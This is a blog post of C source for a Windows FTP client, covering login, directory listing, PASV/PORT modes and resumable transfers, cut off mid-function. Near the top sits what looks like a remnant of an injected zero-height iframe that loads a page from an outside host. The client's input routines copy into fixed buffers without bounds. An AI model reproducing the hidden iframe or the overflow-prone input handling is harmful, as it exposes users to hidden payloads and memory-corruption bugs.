ftp客户端

最新推荐文章于 2023-10-30 02:09:35 发布
原创 最新推荐文章于 2023-10-30 02:09:35 发布 · 883 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#command #socket #struct #file #cmd #upload

 
程序复杂,注释我就不多写了,函数名在上面,都是模块化的,可以随时调用 src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winbase.h>

typedef struct Hoststruct
{
 char HostName[128];
 unsigned int HostIp;
 char Hostport[32];
 char UserName[128];
 char PassWord[128];
 char CurrentDir[128];
 SOCKET HostSocketCmd;
 SOCKET HostSocketData;
 int npsupport;
 int HostState;
 struct Hoststruct *next;
}Host;

typedef struct _RESUME
{
 char dest[128];
 char tmp[128];
 char file[128];
 char hostSite[128];
 char UserName[128];
 char PassWord[128];
 int size;
 int alreadydone;
 int hostip;
 unsigned short hostPort;
 int state;
 struct _RESUME *next;
 SOCKET sockcmd;
 SOCKET sockdata;
 HANDLE hThread;
 HANDLE hTmpFile;
}RESUME;

typedef struct _upload
{
 SOCKET cmdSock;
 SOCKET sockdata;
 char file[128];
 char dest[128];
 char hostSite[128];
 int size;
 int alreadydone;
 HANDLE hThread;
 struct _upload *next;
}UPLOAD;

Host HostList;
Host *CurrentHost;
RESUME ResumeFile;
UPLOAD Up;
char numResumeFiles;
int PasvOrPort;

int resumeList();
int _scanf(char *s);
int Login();
int ListDir();
int receive(SOCKET s,char *buf,int len);
int post(SOCKET s,char *buf,int len);
int addToHostList(Host *h);
int changeDirectory(char *directory);
int showCurrentDirectory();
int downLoad(char *file,char *directory);
int resumeDownLoad(RESUME *profile);
int upLoad(char *file,char *dest);
int DeleteDown(RESUME *r);
int DeleteHost(Host *h);
int DetectCurrentHostHost();

int main(int argc, char* argv[])
{
 int ret;
 WSADATA wsa;
 RESUME *r;
 HANDLE hout;
 COORD cord;
 struct in_addr in;
 char *cmd;
 char commandLine[1024]={0};
 char param1[1024]={0};
 char param2[1024]={0};
 char command[1024]={0};
 char answer;
 struct sockaddr_in hostaddr;
 char data[1024]={0};
 SOCKET cmdSocket;
 resumeList();
  CreateDirectory("incompletes",0);
 CreateDirectory("downloads",0);
 hout = GetStdHandle(STD_OUTPUT_HANDLE);
 cord.X=128;
 cord.Y=8192;
 SetConsoleScreenBufferSize(hout,cord);
 if(!WSAStartup(0x0101,&wsa))
 {
  printf("winsock initialization done! wait for command.../n");
  printf("type /" ? /"for help");
 }
 else
 {
  printf("fail to initialize winsock!/n");
  return 0;
 }
typeCommand:
 printf("/n");
 printf("ftp> ");
 ZeroMemory(commandLine,1024);
 ZeroMemory(param1,1024);
 ZeroMemory(param2,1024);
 _scanf(commandLine);
//process commandling...
 cmd=commandLine;
 while(*(cmd)==' ')cmd++;
 if(strncmp(cmd,"login",5)==0)
 {
  Login();
 }
 else if(strncmp(cmd,"quit",4)==0)
 {
  printf("bye^_^");
  WSACleanup();
  return 1;
 }
 else if(strncmp(cmd,"show site",9)==0)
 {
  int d=0;
  Host *phosts;
  phosts=HostList.next;
  printf("/n");
  while(phosts!=NULL)
  {
   d++;
   in.S_un.S_addr=phosts->HostIp;
   printf("%d. Site:%s Ip:%s/n",d,phosts->HostName,inet_ntoa(in));
   phosts=phosts->next;
  }
 }
 else if(strncmp(cmd,"site",4)==0)
 {
  int psite=0;
  Host *phost;
  phost=HostList.next;
  cmd=cmd+5;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[psite]=*(cmd);
   cmd++;
   psite++;
  }
  psite=atoi(param1);
  psite--;
  while(psite && phost!=NULL)
  {
   psite--;
   phost=phost->next;
  }
  if(phost!=NULL)
  {
   CurrentHost=phost;
   printf("/nCurrentHost:%s/n",CurrentHost->HostName);
  }
 }
 else if(strncmp(cmd,"resume",6)==0)
 {
  int k=0,s=1;
  cmd=cmd+7;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[k]=*(cmd);
   cmd++;
   k++;
  }
  k=atoi(param1);
  r=ResumeFile.next;
  while(r!=NULL)
  {
   if(s==k)goto resume;
   s++;
   r=r->next;
  }
resume:
  if(r!=NULL)
  {
   if(r->alreadydone>=r->size)
    printf("/ndownload file %s already complete/n,",r->file);
   else
   resumeDownLoad(r);
  }
 }
 else if(strncmp(cmd,"show down",9)==0)
 {
  int c=0;
  r=&ResumeFile;
  r=r->next;
  printf("/n");
  while(r!=NULL)
  {
   c++;
   in.S_un.S_addr=r->hostip;
   if(r->state==1)
   {printf("%d.",c);printf("file %s from site %s,total %d,already done: %d/nstate: on/n",r->file,inet_ntoa(in),r->size,r->alreadydone);}
   else
   {printf("%d.",c);printf("file %s from site %s,total %d,already done: %d/nstate: off/n",r->file,inet_ntoa(in),r->size,r->alreadydone);}
   r=r->next;
  }
 }
 else if(strncmp(cmd,"show up",7)==0)
 {
  int c=0;
  UPLOAD *u;
  u=&Up;
  u=u->next;
  printf("/n");
  while(u!=NULL)
  {
   c++;
   if(u->alreadydone==1)
   {printf("%d.",c);printf("upload file %s to site %s/%s succeeded/n",u->file,u->hostSite,u->dest);}
   else if(u->alreadydone==0)
   {printf("%d.",c);printf("upload file %s to site %s/%s is being done",u->file,u->hostSite,u->dest);}
   u=u->next;
  }
 }
 else if(strncmp(cmd,"cancel",6)==0)
 {
  int pr=0;
  RESUME *res;
  res=ResumeFile.next;
  cmd=cmd+7;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[pr]=*(cmd);
   cmd++;
   pr++;
  }
  pr=atoi(param1);
  pr--;
  while(pr && res!=NULL)
  {
   pr--;
   res=res->next;
  }
  if(res!=NULL)
  {
   TerminateThread(res->hThread,0);
   closesocket(res->sockcmd);
   closesocket(res->sockdata);
   CloseHandle(res->hTmpFile);
   res->state=0;
   DeleteFile(res->tmp);
   DeleteDown(res);
  }
 }
 else if(strncmp(cmd,"stop",4)==0)
 {
  int pfile=0;
  RESUME *re;
  re=ResumeFile.next;
  cmd=cmd+5;
  ZeroMemory(param1,sizeof(param1));
  while(*(cmd)!=0)
  {
   param1[pfile]=*(cmd);
   cmd++;
   pfile++;
  }
  pfile=atoi(param1);
  pfile--;
  while(pfile && re!=NULL)
  {
   pfile--;
   re=re->next;
  }
  if(re!=NULL)
  {
   TerminateThread(re->hThread,0);
   closesocket(re->sockcmd);
   closesocket(re->sockdata);
   if(re->alreadydone!=re->size)re->state=0;
  }
 }
 if(CurrentHost==NULL)goto typeCommand;
 if(strncmp(cmd,"dir",3)==0)
 {
  if(CurrentHost!=NULL)
  {
   ListDir();
  }
 }
 else if(strncmp(cmd,"cd",2)==0)
 {
  int i=0;
  cmd=cmd+3;
  while(*(cmd)!=0)
  {
   param1[i]=*(cmd);
   cmd++;
   i++;
  }
  changeDirectory(param1);
 }
 else if(strncmp(cmd,"pos",3)==0)
 {
  showCurrentDirectory();
 }
 else if(strncmp(cmd,"download",8)==0)
 {
  int j=0;
  cmd=cmd+9;
  while(*(cmd)!=0)
  {
   param1[j]=*(cmd);
   cmd++;
   j++;
  }
  printf("/n保存路径(默认为//downloads//):/n");
  _scanf(param2);
  if(param2[0]!=0)
  {
   int err;
   CreateDirectory(param2,0);
   err=GetLastError();
   if(err!=183 && err!=0)
   {
    printf("/n路径错误/n");
    goto typeCommand;
   }
  }
  else
  {
   strcpy(param2,"downloads/0");
  }
  downLoad(param1,param2);
 }
 else if(strncmp(cmd,"upload",6)==0)
 {
  printf("/n源文件路径:/n");
  _scanf(param1);
  printf("/n目标:/n");
  _scanf(param2);
  upLoad(param1,param2);
 }
 else if(strncmp(cmd,"show current",12)==0)
 {
  printf("/nCurrentHost: %s/n",CurrentHost->HostName);
 }
 else if(strncmp(cmd,"pasv",4)==0)
 {
  printf("Enter pasv mode.../n");
  PasvOrPort=0;
 }
 else if(strncmp(cmd,"port",4)==0)
 {
  PasvOrPort=1;
  printf("Enter port mode.../n");
 }
 else if(strncmp(cmd,"logoff",6)==0)
 {
  if(CurrentHost!=NULL)
  {
   closesocket(CurrentHost->HostSocketCmd);
   closesocket(CurrentHost->HostSocketData);
   printf("/nHost:%s,logoff!/n",CurrentHost->HostName);
   DeleteHost(CurrentHost);
   CurrentHost=NULL;
  }
 }
 if(CurrentHost!=NULL)
  ret=DetectCurrentHostHost();
 if(ret<0 && CurrentHost!=NULL)
 {
  answer='y';
  printf("/ncurrent connection closed by remote host,reconnecting.../n");
  if(answer=='y')
  {
   hostaddr.sin_family=AF_INET;
   hostaddr.sin_port=(unsigned short)htons((unsigned short)atoi(CurrentHost->Hostport));
   hostaddr.sin_addr.s_addr=CurrentHost->HostIp;
   cmdSocket=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);
   ret=connect(cmdSocket,&hostaddr,sizeof hostaddr);
   if(ret!=0)
   {
    printf("/nConnect error!/n");
    return -1;
   }
   ret=receive(cmdSocket,data,1024);
   if(ret!=1)
   {
    printf("/nConnect error!/n");
    return -1;
   }
   if(strncmp(data,"220",3)==0)
   {
    printf("/nConnect success,send UserName");
   }
   else
   {
    printf("/nConnect error!/n");
    return -1;
   }
   ZeroMemory(command,1024);
   strcat(command,"USER ");
   strcat(command,CurrentHost->UserName);
   strcat(command,"/r/n/0");
   ret=post(cmdSocket,command,strlen(command));
   if(ret!=1)
   {
    printf("/nConnect error!/n");
    return -1;
   }
   ZeroMemory(data,1024);
   ret=receive(cmdSocket,data,1024);
   if(strncmp(data,"331",3)==0)
   {
    printf("/nConnect success,send PassWord");
   }
   else
   {
    printf("/nConnect error!/n");
    return -1;
   }
   ZeroMemory(command,1024);
   strcat(command,"PASS ");
   strcat(command,CurrentHost->PassWord);
   strcat(command,"/r/n/0");
   ret=post(cmdSocket,command,strlen(command));
   if(ret!=1)
   {
    printf("/nConnect error!/n");
    return-1;
   }
   ret=receive(cmdSocket,data,1024);
   if(strncmp(data,"230",3)==0)
   {
    printf("/nLogin success,wait for command.../n");
   } 
   CurrentHost->HostSocketCmd=cmdSocket;
  }
 }
 ZeroMemory(commandLine,1024);
 goto typeCommand;
 printf("/n");
 return 1;
}

int _scanf(char *s)
{
 char c=0;
 int i=0;
 while(c!='/n')
 {
  scanf("%c",&c);
  *(s+i)=c;
  i++;
 }
 *(s+i-1)=0;
 *(s+i)=0;
 return 1;
}

int receive(SOCKET s,char *buf,int len)
{
 FD_SET ReadSet;
 struct timeval time;
 int iret;
 time.tv_sec=1;
 FD_ZERO(&ReadSet);
 FD_SET(s,&ReadSet);
 time.tv_usec=0;
 iret=select(0,&ReadSet,0,0,&time);
 GetLastError();
 if(iret==SOCKET_ERROR)
  return -1;
 else if(iret==0)
  return -2;
 recv(s,buf,len,0);
 return 1;
}

int _receive(SOCKET s,char *buf,int len)
{
 FD_SET ReadSet;
 struct timeval time;
 int iret;
 time.tv_sec=1;
 FD_ZERO(&ReadSet);
 FD_SET(s,&ReadSet);
 time.tv_usec=0;
 iret=select(0,&ReadSet,0,0,&time);
 GetLastError();
 if(iret==SOCKET_ERROR)
  return -1;
 else if(iret==0)
  return -2;
 iret=recv(s,buf,len,0);
 return iret;
}

int post(SOCKET s,char *buf,int len)
{
 FD_SET WriteSet;
 struct timeval time;
 int iret;
 time.tv_sec=1;
 FD_ZERO(&WriteSet);
 FD_SET(s,&WriteSet);
 time.tv_usec=0;
 iret=select(0,0,&WriteSet,0,&time);
 GetLastError();
 if(iret==SOCKET_ERROR)
  return -1;
 else if(iret==0)
  return -2;
 send(s,buf,len,0);
 return 1;
}

int addToHostList(Host *h)
{
 Host *host;
 host= &HostList;
 while(host->next!=NULL)
 {
  host=host->next;
 }
 host->next=h;
 h->next=NULL;
 return 1;
}

int Login()
{
 SOCKET cmdSocket;
 struct sockaddr_in hostaddr;
 Host *host;
 int ret;
 unsigned short port;
 char **ptr=NULL;
 int *addr=NULL;
 struct hostent *iphost=NULL;
 char data[1024]={0};
 char command[1024]={0};
 host=(Host *)malloc(sizeof(Host));
 printf("Enter HostName:");
 _scanf(host->HostName);
 iphost=gethostbyname(host->HostName);
 if(iphost==NULL)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 printf("Enter port(Default is 21):");
 _scanf(host->Hostport);
 port=atoi(host->Hostport);
 if(port==0 || port>65535)
  port=21;
  ptr=iphost->h_addr_list;
 addr=(int *)(*(ptr));
 hostaddr.sin_family=AF_INET;
 hostaddr.sin_port=(unsigned short)htons(port);
 hostaddr.sin_addr.s_addr=*(addr);
 cmdSocket=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);
 ret=connect(cmdSocket,&hostaddr,sizeof hostaddr);
 if(ret!=0)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 host->HostSocketCmd=cmdSocket;
 ret=receive(host->HostSocketCmd,data,1024);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 if(strncmp(data,"220",3)==0)
 {
  printf("/nConnect success,need UserName:");
 }
 else
 {
  printf("/nConnect error!/n");
  return -1;
 }
 _scanf(host->UserName);
 ZeroMemory(command,1024);
 strcat(command,"USER ");
 strcat(command,host->UserName);
 strcat(command,"/r/n/0");
 ret=post(host->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ZeroMemory(data,1024);
 ret=receive(host->HostSocketCmd,data,1024);
 if(strncmp(data,"331",3)==0)
 {
  printf("/nConnect success,need PassWord:");
 }
 else
 {
  printf("/nConnect error!/n");
  return -1;
 }
 _scanf(host->PassWord);
 ZeroMemory(command,1024);
 strcat(command,"PASS ");
 strcat(command,host->PassWord);
 strcat(command,"/r/n/0");
 ret=post(host->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ret=receive(host->HostSocketCmd,data,1024);
 if(strncmp(data,"230",3)==0)
 {
  printf("/nLogin success!");
  host->HostIp=hostaddr.sin_addr.s_addr;
  ZeroMemory(command,1024);
  strcat(command,"REST 100/r/n/0");
  ret=post(host->HostSocketCmd,command,strlen(command));
  if(ret!=1)
  {
   printf("/nlose connection./n");
   return -1;
  }
  ZeroMemory(data,1024);
  ret=receive(host->HostSocketCmd,data,1024);
  if(ret!=1)
  {
   printf("/nlose connection./n");
   return -1;
  }
  if(strstr(data,"350 Restarting at 100")!=0)
  {
   host->npsupport=1;
   printf("/n站点支持断点续传/n");
  }
  else
  {
   host->npsupport=0;
   printf("/n站点不支持断点续传/n");
  }
  ZeroMemory(command,1024);
  strcat(command,"REST 0/r/n/0");
  ret=post(host->HostSocketCmd,command,strlen(command));
  if(ret!=1)
  {
   printf("/nlose connection./n");
   return -1;
  }
  ZeroMemory(data,1024);
  ret=receive(host->HostSocketCmd,data,1024);
  strcpy(command,"PWD");
  strcat(command,"/r/n");
  ret=post(host->HostSocketCmd,command,strlen(command));
  if(ret!=1)
  {
   printf("/nConnect error!/n");
   return -1;
  }
  ret=receive(host->HostSocketCmd,data,128);
  if(ret!=1)
  {
   printf("/nConnect error!/n");
   return -1;
  }
  else
  {
   if(strncmp(data,"257",3)==0)
   {
    int i=0;
    char *ptr1;
    ptr1=data+5;
    while(*(ptr1)!='/"')
    {
     *(host->CurrentDir+i)=*(ptr1);
     ptr1++;
     i++;
    }
    *(host->CurrentDir+i)='/0';
    printf("Current directory is: %s",host->CurrentDir);
   }
  }
  addToHostList(host);
  CurrentHost=host;
 }
 else
 {
  printf("/nConnect error!/n");
  return -1;
 }
 return 1;
}

DWORD WINAPI ListenProc(LPVOID lParam)
{
 SOCKET dataSock;
 SOCKET ss;
 SOCKET *s;
 int ret;
 s=lParam;
 dataSock=*(s);
 ret=listen(dataSock,1);
 if(ret!=0)
 {
  printf("/nfail to listen.../n");
  return -1;
 }
 ss=accept(dataSock,NULL,0);
 *(s)=ss;
 if(ss==INVALID_SOCKET)
 {
  printf("/nhost fail to connect.../n");
  return -1;
 }
 return 1;
}

int ListDir()
{
 char command[1024]={0};
 char _data[128]={0};
 char *data;
 char numBuf[8]={0};
 char attrib[32]={0};
 char Size[32]={0};
 char param1[64]={0};
 char fileName[128]={0};
 char *ptr1,*ptr2;
 int  flag=0,ip=0,jp=0;
 SOCKET dataSock;
 struct sockaddr_in hostaddr;
 unsigned short i,j,port;
 int ret;
 data=(char *)malloc(sizeof(char)*128000);
 ZeroMemory(data,128000);
 ZeroMemory(command,1024);
 if(PasvOrPort==0)
 {
  strcat(command,"PASV /r/n/0");
  ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
  if(ret!=1)
  {
   printf("/nConnect error!/n");
   free(data);
   return -1;
  }
  ret=receive(CurrentHost->HostSocketCmd,data,1024);
  if(strncmp(data,"227",3)==0)
  {
   printf("%s/n",data);
  }
  else
  {
   free(data);
   return -1;
  }
  ptr1=data+strlen(data);
  while(*(ptr1)!=')')
   ptr1--;
  ptr2=ptr1;
  while(*(ptr2)!=',')
   ptr2--;
  ZeroMemory(numBuf,8);
  strncpy(numBuf,ptr2+1,ptr1-ptr2-1);
  j=atoi(numBuf);
  ptr2--;
  ptr1=ptr2;
  ptr2++;
  while(*(ptr1)!=',')
   ptr1--;
  ZeroMemory(numBuf,8);
  strncpy(numBuf,ptr1+1,ptr2-ptr1-1);
  i=atoi(numBuf);
  port=i*256+j;
  dataSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_addr.s_addr=CurrentHost->HostIp;
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_port=htons(port);
  ret=connect(dataSock,&hostaddr,sizeof hostaddr);
  if(ret!=0)
  {
   printf("/nConnect error!/n");
   free(data);
   return -1;
  }
 }
 else
 {
  dataSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_addr.s_addr=INADDR_ANY;
  hostaddr.sin_port=0;
  ret=bind(dataSock,&hostaddr,sizeof(hostaddr));
  CreateThread(0,0,ListenProc,&dataSock,0,0);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   printf("/nfail to bind a port for listenning.../n");
   return -1;
  }
  ip=sizeof(struct sockaddr);
  ret=getsockname(dataSock,(struct sockaddr *)&hostaddr,&ip);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   printf("/nfail to decide the port number.../n");
   return -1;
  }
  ip=ntohs(hostaddr.sin_port)/256;
  jp=ntohs(hostaddr.sin_port)%256;
  strcat(command,"PORT ");
  ZeroMemory(param1,128);
  ret=sizeof(struct sockaddr_in);
  getsockname(CurrentHost->HostSocketCmd,&hostaddr,&ret);
  strcpy(_data,inet_ntoa(hostaddr.sin_addr));
  ptr1=_data;
  while(*(ptr1)!=0)
  {
   if(*(ptr1)=='.')
   {
    *(ptr1)=',';
   }
   ptr1++;
  }
  strcat(command,_data);
  strcat(command,",");
  strcat(command,itoa(ip,numBuf,10));
  strcat(command,",");
  strcat(command,itoa(jp,numBuf,10));
  strcat(command,"/r/n/0/0");
  ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
  if(ret!=1)
  {
   printf("/nConnect error!/n");
   free(data);
   return -1;
  }
  ret=receive(CurrentHost->HostSocketCmd,data,1024);
  if(strncmp(data,"200",3)==0)
  {
   printf("%s/n",data);
  }
  else
  {
   free(data);
   return -1;
  }
 }
 ZeroMemory(command,1024);
 strcat(command,"LIST");
 strcat(command,"/r/n/0");
 ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(data);
  return -1;
 }
receiveData:
 Sleep(20);
 ZeroMemory(data,128000);
 ret=_receive(dataSock,data,128000);
 if(ret==0)
 {
  closesocket(dataSock);
  goto ending;
 }
 printf("%s",data);
 if(flag==0)
 {
  ret=_receive(CurrentHost->HostSocketCmd,_data,128);
  if(strstr(_data,"226")!=NULL)
  {
   flag=1;
   goto receiveData;
  }
 }
 goto receiveData;
ending:
 if(flag!=1)
  ret=_receive(CurrentHost->HostSocketCmd,_data,128);
 free(data);
 return 1;
}

int changeDirectory(char *directory)
{
 char command[128]="CWD ";
 char data[128]="/0";
 int ret;
 strcat(command,directory);
 strcat(command,"/r/n");
 ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ret=receive(CurrentHost->HostSocketCmd,data,128);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 printf("%s/n",data);
 if(strncmp(data,"250",3)==0)
 {
  strcpy(command,"PWD /r/n/0");
  ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
  if(ret==-1)
  {
   printf("/nConnect error!/n");
   return -1;
  }
  ret=receive(CurrentHost->HostSocketCmd,data,128);
  if(ret!=1)
  {
   printf("/nConnect error!/n");
   return -1;
  }
  else
  {
   if(strncmp(data,"257",3)==0)
   {
    int i=0;
    char *ptr1;
    ptr1=data+5;
    while(*(ptr1)!='/"')
    {
     *(CurrentHost->CurrentDir+i)=*(ptr1);
     ptr1++;
     i++;
    }
    *(CurrentHost->CurrentDir+i)='/0';
    printf("Current directory is: %s",CurrentHost->CurrentDir);
   }
  }
 }
 return 1;
}

int showCurrentDirectory()
{
 char command[128]="PWD";
 char data[128]="/0";
 int ret;
 strcat(command,"/r/n");
 ret=post(CurrentHost->HostSocketCmd,command,strlen(command));
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 ret=receive(CurrentHost->HostSocketCmd,data,128);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  return -1;
 }
 printf("%s/n",data);
 return 1;
}

DWORD WINAPI downLoadProcA(LPVOID lpParam)
{
 RESUME *r;
 int ii;
 unsigned short i,j,port;
 char *ptr1,*ptr2;
 char command[64]={0};
 char already[64]={0};
 char _data[128]={0};
 char param1[128]={0};
 char *data;
// start pasv  
 char numBuf[8]={0};
 HANDLE hFile;
 HANDLE hTmpFile;
 HANDLE hListenThread;
 SOCKET dataSock;
 struct sockaddr_in hostaddr;
 int ret,_ret,ip,jp;
 int flag=0;
 r=lpParam;
 r->state=1;
 data=VirtualAlloc(NULL,1024*1024,MEM_COMMIT,PAGE_READWRITE);
 if(data==NULL){VirtualFree(data,1024*1024,MEM_DECOMMIT);r->state=0; return-1;}
 ZeroMemory(data,1024*1024);
// set pointer
 ZeroMemory(command,64);
 strcat(command,"REST ");
 ii=r->alreadydone;
 _itoa(ii,already,10);
 strcat(command,already);
 strcat(command,"/r/n/0/0");
 ret=post(r->sockcmd,command,strlen(command));
 if(ret!=1)
 {
  return -1;
 }
 ZeroMemory(data,1024*1024);
 ret=receive(r->sockcmd,data,1024*1024);
 if(ret!=1)
 {
  return -1;
 }
 if(strstr(data,"350 Restarting")==0 && strncmp(data,"501",3)!=0)
  return -1;
// set pasv
 if(PasvOrPort==0)
 {
  ZeroMemory(command,64);
  strcat(command,"PASV /r/n/0");
  ret=post(r->sockcmd,command,64);
  if(ret!=1)
  {
   {VirtualFree(data,1024*1024,MEM_DECOMMIT);r->state=0; return-1;}
  }
  ZeroMemory(data,1024*1024);
  ret=receive(r->sockcmd,data,1024*1024);
  if(strncmp(data,"227",3)!=0)
   {VirtualFree(data,1024*1024,MEM_DECOMMIT);r->state=0; return-1;}
  ptr1=data+strlen(data);
  while(*(ptr1)!=')')
   ptr1--;
  ptr2=ptr1;
  while(*(ptr2)!=',')
   ptr2--;
  strncpy(numBuf,ptr2+1,ptr1-ptr2-1);
  j=atoi(numBuf);
  ptr2--;
  ptr1=ptr2;
  ptr2++;
  while(*(ptr1)!=',')
   ptr1--;
  strncpy(numBuf,ptr1+1,ptr2-ptr1-1);
  i=atoi(numBuf);
  port=i*256+j;
  dataSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_addr.s_addr=r->hostip;
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_port=htons(port);
  ret=connect(dataSock,&hostaddr,sizeof hostaddr);
  if(ret!=0)
   {VirtualFree(data,1024*1024,MEM_DECOMMIT); r->state =0;return-1;}
 }
 else
 {
  r->sockdata=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  hostaddr.sin_family=AF_INET;
  hostaddr.sin_addr.s_addr=INADDR_ANY;
  hostaddr.sin_port=0;
  ret=bind(r->sockdata,&hostaddr,sizeof(hostaddr));
  dataSock=r->sockdata;
  hListenThread=CreateThread(0,0,ListenProc,&(r->sockdata),0,0);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   return -1;
  }
  ip=sizeof(struct sockaddr);
  ret=getsockname(r->sockdata,(struct sockaddr *)&hostaddr,&ip);
  if(ret==SOCKET_ERROR)
  {
   free(data);
   return -1;
  }
  ip=ntohs(hostaddr.sin_port)/256;
  jp=ntohs(hostaddr.sin_port)%256;
  ZeroMemory(command,64);
  strcat(command,"PORT ");
  ZeroMemory(param1,128);
  ret=sizeof(struct sockaddr_in);
  getsockname(r->sockcmd,&hostaddr,&ret);
  strcpy(_data,inet_ntoa(hostaddr.sin_addr));
  ptr1=_data;
  while(*(ptr1)!=0)
  {
   if(*(ptr1)=='.')
   {
    *(ptr1)=',';
   }
   ptr1++;
  }
  strcat(command,_data);
  strcat(command,",");
  strcat(command,itoa(ip,numBuf,10));
  strcat(command,",");
  strcat(command,itoa(jp,numBuf,10));
  strcat(command,"/r/n/0/0");
  ret=post(r->sockcmd,command,strlen(command));
  if(ret!=1)
  {
   free(data);
   return -1;
  }
  ZeroMemory(data,1024*1024);
  ret=receive(r->sockcmd,data,1024*1024);
  if(strncmp(data,"200",3)!=0)
  {
   free(data);
   return -1;
  }
 }
 hFile=CreateFile(r->dest,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 hTmpFile=CreateFile(r->tmp,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
 r->hTmpFile=hTmpFile;
 if(hFile==INVALID_HANDLE_VALUE || hTmpFile==INVALID_HANDLE_VALUE){VirtualFree(data,1024*1024,MEM_DECOMMIT); return-1;}
 SetFilePointer(hTmpFile,128+128+128+128+128+128,0,FILE_BEGIN);
 SetFilePointer(hFile,r->alreadydone,0,FILE_BEGIN);
 ZeroMemory(command,64);
 strcat(command,"RETR ");
 strcat(command,r->file);
 strcat(command,"/r/n/0");
 ret=post(r->sockcmd,command,strlen(command));
 if(ret!=1)
 {
  CloseHandle(hFile);
  CloseHandle(hTmpFile);
  DeleteFile(r->tmp);
  {VirtualFree(data,1024*1024,MEM_DECOMMIT); r->state=0;return -1;}
 }
 ZeroMemory(data,1024*1024);
 ret=_receive(r->sockcmd,data,1024*1024);
 if(PasvOrPort==1)
 {
waiting:
  if(dataSock==r->sockdata)
  {
   Sleep(20);
   goto waiting;
  }
  dataSock=r->sockdata;
 }
// get data
getdata:
 ZeroMemory(data,1024*1024);
 ret=_receive(dataSock,data,1024*1024);
 if(ret<0){VirtualFree(data,1024*1024,MEM_DECOMMIT); r->state=0;return -1;}
// refresh data 
 WriteFile(hFile,data,ret,&_ret,0);
 FlushFileBuffers(hFile);
 r->alreadydone+=ret;
 WriteFile(hTmpFile,((char *)r+128*6),sizeof(RESUME)-128*6,&_ret,0);
 FlushFileBuffers(hTmpFile);
 SetFilePointer(hTmpFile,128+128+128+128+128+128,0,FILE_BEGIN);
 if(flag==0)
 {
  ret=_receive(r->sockcmd,data,512);
  flag=1;
  goto getdata;
 }
 if(flag==1)
 {
  if(r->size==r->alreadydone)
   goto ending;
  else
   goto getdata;
 }
ending:
 CloseHandle(hFile);
 CloseHandle(hTmpFile);
 closesocket(dataSock);
 VirtualFree(data,1024*1024,MEM_DECOMMIT);
 DeleteFile(r->tmp);
 r->state=0;
 return 1;
}

int addtoDownLoadList(RESUME *r)
{
 r->next=ResumeFile.next;
 ResumeFile.next=r;
 return 1;
}

int downLoad(char *file,char *directory)
{
// login
 HANDLE hFile;
 SOCKET cmdSocket;
 struct sockaddr_in hostaddr;
 Host *host;
 RESUME *r;
 int ret;
 unsigned short port;
 char **ptr=NULL,*_file=NULL;
 int *addr=NULL;
 struct hostent *iphost=NULL;
 char data[1024]={0};
 char command[1024]={0};
 char incomName[80]={0};
 host=CurrentHost;
 _file=file+strlen(file)-1;
 while(_file>=file && *(_file)!='/')
 {
  _file--;
 }
 if(_file<file)_file=file;
 else
  if(*(_file)=='/')
   _file++;
 iphost=gethostbyname(host->HostName);
 r=(RESUME *)malloc(sizeof(RESUME));
 ZeroMemory(r,sizeof(RESUME));
 if(iphost==NULL)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 port=atoi(host->Hostport);
 if(port==0 || port>65535)
  port=21;
  ptr=iphost->h_addr_list;
 addr=(int *)(*(ptr));
 hostaddr.sin_family=AF_INET;
 hostaddr.sin_port=(unsigned short)htons(port);
 hostaddr.sin_addr.s_addr=*(addr);
 cmdSocket=socket(AF_INET,SOCK_STREAM, IPPROTO_TCP);
 ret=connect(cmdSocket,&hostaddr,sizeof hostaddr);
  if(ret!=0)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ret=receive(cmdSocket,data,1024);
 if(ret!=1)
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 if(strncmp(data,"220",3)==0)
 {
  printf("/nConnect success,send UserName");
 }
 else
 {
  printf("/nConnect error!/n");
  free(r);return-1;
 }
 ZeroMemory(command,1024);
 strcat(command,"USER ");
 strcat(command,host->UserName);
